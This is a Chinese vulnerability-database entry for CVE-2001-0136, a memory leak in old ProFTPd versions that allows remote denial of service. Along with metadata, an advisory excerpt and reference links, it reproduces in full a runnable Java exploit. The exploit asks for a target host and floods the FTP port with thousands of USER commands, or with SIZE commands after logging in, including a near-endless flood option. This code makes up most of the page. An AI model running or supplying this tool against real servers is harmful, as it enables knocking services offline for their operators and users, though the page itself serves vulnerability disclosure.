ProFTPd服务拒绝漏洞

ProFTPd服务拒绝漏洞

漏洞ID 1106146 漏洞类型 资源管理错误
发布时间 2000-12-20 更新时间 2005-05-16
图片[1]-ProFTPd服务拒绝漏洞-安全小百科CVE编号 CVE-2001-0136
图片[2]-ProFTPd服务拒绝漏洞-安全小百科CNNVD-ID CNNVD-200103-038
漏洞平台 Linux CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/20536
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200103-038
|漏洞详情
ProFTPd1.2.0rc2版本存在内存泄漏漏洞。远程攻击者借助一系列USER命令及可能SIZE命令,如果服务器已经已经安装不当,导致服务拒绝。
|漏洞EXP
source: http://www.securityfocus.com/bid/2185/info

A memory leak has been reported in all versions of ProFTPd.

The SIZE FTP command causes the server to misallocate and leak small amounts of memory each time the command is executed.

If a sufficient number of these commands are executed by the server, substantial amounts of system memory can be consumed, allowing a remote attacker to carry out a denial of service attack on the affected host.

This could be problematic if anonymous FTP is enabled or if a malicious local user has been supplied with an FTP login ID. 

/*      ProFTPd DoS version 1.1
        Remote DoS in proFTPd

        Code by: JeT-Li         -The Wushu Master-      [email protected]

        Recently I posted a remote DoS for ProFTPd based in the multiple use
        of the SIZE command in order to crash the system. Now and thanks to
        the information provided by Wojciech Purczynski I have coded a
        program that not only use the SIZE command but also the USER command.
        So at this time access to the ftp is not necessary to manage a DoS
        attack. The concept is equal to the last exploit one, but using
        multiple USER instead of SIZE.

        You don't have to give arguments when you execute the program, it
        will request you these.

        Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
        hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
        the ppl of #hackers (not able for cardiac XD).

        Vulnerable systems:
        ProFTPd 1.2.0rc1        (Tested)
        ProFTPd 1.2.0rc2        (Tested)
        And maybe others(1.2.0preX); I have no test this, but I'm sure you
        can do it for me ;-)
        NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of
        Wojciech Purczynski ... */

import java.net.*;
import java.io.*;

class TCPconnection {

    public TCPconnection (String hostname, int portnumber) throws Exception {
    Socket s = doaSocket(hostname, portnumber);
    br = new BufferedReader (new InputStreamReader (s.getInputStream()));
    ps = new PrintStream (s.getOutputStream());
    }

    public String readLine() throws Exception {
    String s;
    try {       s = br.readLine();      }
    catch (IOException ioe) {
    System.out.println("TCP Error ... it's a little hax0r exception ;-)");
    throw new Exception ("nInput Error: I/O Error");
        }
    return s;
    }

    public void println(String s) {
        ps.println(s);
    }

    private Socket doaSocket(String hostname, int portnumber) throws Exception {
    Socket s = null;
    int attempts = 0;
    while (s == null && attempts<maxattempts) {
    try {       s = new Socket(hostname, portnumber);   }
    catch (UnknownHostException uhe) {
    System.err.println("It was no posible to establish the TCP connection.n" + "Reason: unknown hostname " +
hostname + ". Here is
the Exception:");
    throw new Exception("nConnection Error: " + "unknown hostname");
    }
    catch (IOException ioe) {
    System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
    }
    attempts++;
    }
    if (s == null) throw new IOException("nThe connection was not accomplished due to an I/O Error: trying it
again ...");
    else return s; }
    private final int maxattempts = 5;
    private BufferedReader br;
    private PrintStream ps;

    }

class proftpDoS {

    public static void main(String[] arg) throws Exception {
    InputStreamReader isr;
    BufferedReader tcld;
    String hostnamez, username, password, file, s1, option, option1;
    int i, j, k, m;
    isr = new InputStreamReader(System.in);
    tcld = new BufferedReader(isr);
    System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
    System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
    System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
    System.out.println("1) Memory leakage using USER command");
    System.out.println("2) Memory leakage using SIZE command");
    System.out.print("Option: ");
    option = tcld.readLine();
    m = Integer.parseInt(option);
    while (!(m==1 || m==2)) {
    System.out.print("Option not valid, please try again: ");
    option = tcld.readLine();
    m = Integer.parseInt(option); }
    if (m==1) {
    hostnamez = "";
    while (hostnamez.length()==0) {
    System.out.print("Please enter the hostname/IP: ");
    hostnamez = tcld.readLine(); }
    System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
    System.out.println("1) Request 15000 size's to the server (it may be enough)");
    System.out.println("2) "No pain no gain" (pseudo-eternal requests, ey it may be harm ;-P)");
    System.out.print("Option: ");
    option1 = tcld.readLine();
    k = Integer.parseInt(option1);
    while (!(k==1 || k==2)) {
    System.out.print("Option not valid, please try again: ");
    option1 = tcld.readLine();
    k = Integer.parseInt(option1); }
    TCPconnection tc = new TCPconnection(hostnamez, 21);
        if (k==1) {
        for(i=0;i<15000;i++)
        tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
    else if (k==2) {
    for(i=1;i<100;i++)
        for(j=2;j<((int)Math.pow(j,i ));j++)
            tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
    tc.println("quit");
    s1 = tc.readLine();
    while (s1!=null) {
    s1 = tc.readLine();
    System.out.println("Attack completed ... as one of my friends says:");
    System.out.println("Hack just r0cks ;-)");
    }
    }
    else if (m==2) {
     hostnamez = "";
    while (hostnamez.length()==0) {
    System.out.print("Please enter the hostname/IP: ");
    hostnamez = tcld.readLine(); }
    username = "";
    while (username.length()==0) {
    System.out.print("Enter the username: ");
    username = tcld.readLine(); }
    password = "";
    while (password.length()==0) {
    System.out.print("Enter the password for that username: ");
    password = tcld.readLine(); }
    file = "";
    while (file.length()==0) {
    System.out.print("Enter a valid filename on the FTP n(with correct path of course ;-): ");
    file = tcld.readLine(); }
    System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
    System.out.println("1) Request 15000 size's to the server (it may be enough)");
    System.out.println("2) "No pain no gain" (pseudo-eternal requests, ey it may be harm ;-P)");
    System.out.print("Option: ");
    option1 = tcld.readLine();
    k = Integer.parseInt(option1);
    while (!(k==1 || k==2)) {
    System.out.print("Option not valid, please try again: ");
    option1 = tcld.readLine();
    k = Integer.parseInt(option1); }
    TCPconnection tc = new TCPconnection(hostnamez, 21);
    tc.println("user " + username);
    tc.println("pass " + password);
    if (k==1) {
        for(i=0;i<10000;i++)
        tc.println("size " + file); }
    else if (k==2) {
    for(i=1;i<100;i++)
        for(j=2;j<((int)Math.pow(j,i ));j++)
            tc.println("size " + file); }
    tc.println("quit");
    s1 = tc.readLine();
    while (s1!=null) {
    s1 = tc.readLine();
    System.out.println("Attack completed ... as one of my friends says:");
    System.out.println("Hack just r0cks ;-)");
    }
    }
    }
}
|参考资料

来源:XF
名称:proftpd-size-memory-leak
链接:http://xforce.iss.net/static/5801.php
来源:BUGTRAQ
名称:20001220ProFTPD1.2.0Memoryleakage-denialofservice
链接:http://www.securityfocus.com/archive/1/152206
来源:BUGTRAQ
名称:20010110Re:MemoryleakageinProFTPdleadstoremoteDoS(SIZEFTP);(ExploitCode)
链接:http://archives.neohapsis.com/archives/bugtraq/2001-01/0132.html
来源:BUGTRAQ
名称:20010109MemoryleakageinProFTPdleadstoremoteDoS(SIZEFTP);(ExploitCode)
链接:http://archives.neohapsis.com/archives/bugtraq/2001-01/0122.html
来源:MANDRAKE
名称:MDKSA-2001:021
链接:http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-021.php3
来源:DEBIAN
名称:DSA-029
链接:http://www.debian.org/security/2001/dsa-029
来源:CONECTIVA
名称:CLA-2001:380
链接:http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio;=000380
来源:BUGTRAQ
名称:20010213TrustixSecurityAdvisory-proftpd,kernel
链接:http://archives.neohapsis.com/archives/bugtraq/2001-02/0267.html

相关推荐: FileMaker Pro Client Authentication User Password Disclosure Vulnerability

FileMaker Pro Client Authentication User Password Disclosure Vulnerability 漏洞ID 1100487 漏洞类型 Design Error 发布时间 2003-04-09 更新时间 200…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享